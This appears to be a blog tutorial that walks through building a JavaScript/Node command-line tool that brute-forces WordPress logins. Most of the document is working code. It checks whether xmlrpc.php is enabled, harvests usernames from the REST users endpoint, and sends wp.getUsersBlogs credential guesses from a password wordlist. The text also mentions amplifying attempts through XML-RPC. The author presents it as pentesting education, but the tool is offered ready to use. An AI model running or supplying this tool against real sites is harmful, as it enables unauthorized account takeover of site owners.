wpLockPicker: Brute Forcing WordPress with JavaScript
Build a WordPress Brute Forcing Tool Only With JavaScript and Node
When it comes to pentesting or hacking in general, Python leads the way as one of the most popular programming languages. However, in recent years, JavaScript became very popular not just for its front-end strengths, but also for back-end. So, even though I myself am more used to using Python for building such tools, I have decided to give JavaScript a chance and build a brute-forcing CLI tool using it.
Why Brute Force WordPress?
Almost 40% of the websites available on the internet use WordPress as an engine. So the main reason I targeted this CMS platform is because it is popular. Secondly, I have been using WordPress for personal projects for a couple of years, so I am quite familiar with it. And last, but not least, I happen to know that WordPress websites are vulnerable to an XMLRPC brute-force attack. So I didn't really need to find the weak spot, but rather find a way to exploit it.
How XMLRPC Affects WordPress?
XML-RPC enables interaction between WordPress and different other platforms through HTTP and XML. HTTP is used to transfer the information and XML is used for encoding. Even though it has in strengths in connecting WordPress with 'the rest of the internet', XML-RPC opens a lot of doors for hackers. For example, this feature can be exploited in a DDoS attack or (as we will further explore) in order to brute-force credentials.
Building the WordPress Brute Force Tool
Being that we are exploiting XML-RPC, the first thing we want to do is to test if this feature is enabled on the targeted website. By default, it is active when one installs WordPress and not many developers deactivate it. However, in certain cases, developers might deactivate it so there would be no point in moving further with the attack.
const testXMLRPC = async (baseUrl) => {
console.log(COLORS.yellow, '[!] Checking if target is vulnerable!')
try {
let resp = await axios.get(`${baseUrl}/xmlrpc.php`)
} catch (e) {
try {
if (e.response.status === 405) {
console.log(COLORS.green, `[+] XMLRPC Enabled: ${baseUrl} is vulnerable to a BruteForce attack!`)
return true
} else {
console.log(COLORS.red, `[-] XMLRPC seems to be disabled: ${baseUrl} is not vulnerable to a BruteForce attack at the moment!`)
return false
}
} catch (e) {
console.log(COLORS.red, `[!] ERROR:${e}. Make sure your webiste is live.`)
}
}
}
Here is what we're doing:
- we are sending a request to
/xmlrpc.php
- checking if it returns a 405 status
- if the status is 405, we return a
true
( statement as we want to continue with the attack)
Gathering User Information
Apart from XML-RPC, we will also take advantage of the native WordPress API in order to find active users of the platform. And so, the first thing that we will explore will be the existence of the wp-json/wp/v2/users
endpoint:
const getUsers = async (baseUrl) => {
console.log(COLORS.yellow, '[!] Attempting to identify users!')
try {
let resp = await axios.get(`${baseUrl}/wp-json/wp/v2/users`)
const contentType = resp.headers['content-type']
if ( contentType.includes('json') ) {
try {
let users = []
resp.data.forEach(e => {
users.push(e.slug)
});
return users
} catch (e) {
console.log(COLORS.red, `[!] There was an error processing your request!`)
}
}
} catch (e) {
console.log(COLORS.red, `[-] No users identified`)
}
return null
}
In order to achieve this goal, we:
- send a
get
request to the endpoint - check if the endpoints exists and if the response content type is
json
- push the
slug
to an array, which we will return for later use.
If the endpoint doesn't exist, we will return null
. So gathering user info is only possible if the users endpoint is exposed. If the result is empty, then we will have to manually specify the username we are targeting.
Launching the Attack on WordPress
If the XML-RPC feature is enabled on our targeted URL, we want to continue with the test and brute-force our way into the website. Again, the attack is as simple as sending a post request using axios
:
const wpLogin = async (baseUrl, user, pass) => {
const config = {
headers: {
'Content-Type': 'text/xml'
}
}
const data = `<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>${user}</string></value></param><param><value><string>${pass}</string></value></param></params></methodCall>`
try {
let resp = await axios.post(`${baseUrl}/xmlrpc.php`, data, config)
if ( resp.data.includes('isAdmin') ) {
console.log(COLORS.green, `[+] Password ${pass} is working!`)
return true
}
} catch (e) {
console.log(COLORS.yellow, `[!] Error testing ${pass}: ${e.code}`)
}
console.log(COLORS.red, `[-] Password ${pass} not working!`)
return false
}
What we are doing now is to:
- define the payload that takes the username and the password as parameters
- define the headers
- send a
post
request back to the server - check if the response contains the string
isAdmin
If isAdmin
, then it's an 'Evrika!'... we found the password. If not, we keep testing other passwords.
'Glueing' the Pieces Together
For the attack to be efficient, we want to pass a wordlist and iterate through every possible user:pass
combination. Luckily, we can use the readline
and the fs
packages, which only take a couple of lines of code:
rl.question('[i] Which user are you targerting: ', async (ans) => {
console.log(COLORS.yellow, `[!] Attempting bruteforce on user '${ans}'!`)
let rd = readline.createInterface({
input: fs.createReadStream(arg['pass'] ? arg['pass'] : './pass.txt')
})
rd.on('line', async (pass) => {
let tryOne = await wpLogin(BASE_URL, ans, pass)
if ( tryOne ) {
process.exit()
}
await setTimeout(3000)
})
rl.close()
})
Here, we:
- prompt the user to specify the targeted username
- open the default
./pass.txt
file if there is no--pass='<PATH_TO_WORDLIST>'
argument - iterate over each line and call
wpLogin
to check ifisAdmin
- break if
isAdmin
or continue to next line otherwise
As you see, here we have set a timeout between every two attempts. In a real world scenario, the XML-RPC can be exploited such that up to 1900 combinations to be sent at once. However, because our purpose here is to learn, we've made it that our script would work slower and only send one request at a time.
The full source code of this exploit can be found on GitHub. As you will see, we make use of the getUsers
function there and we proceed with the attack based on the length
of the users array:
let users = await getUsers(BASE_URL)
if ( users === null ) {
// Prompt the user to input the targeted username
} else if ( users.length == 1 ) {
// Attack the single identified user
} else {
// Display the list of all usernames and prompt the user to select his target.
}
Conclusions
JavaScript has grown in complexity in recent years and can now compete with Python when it comes to exploiting vulnerabilities. So if you are a web developer and you’re thinking about building your way into pentesting, now it would be a good time to start.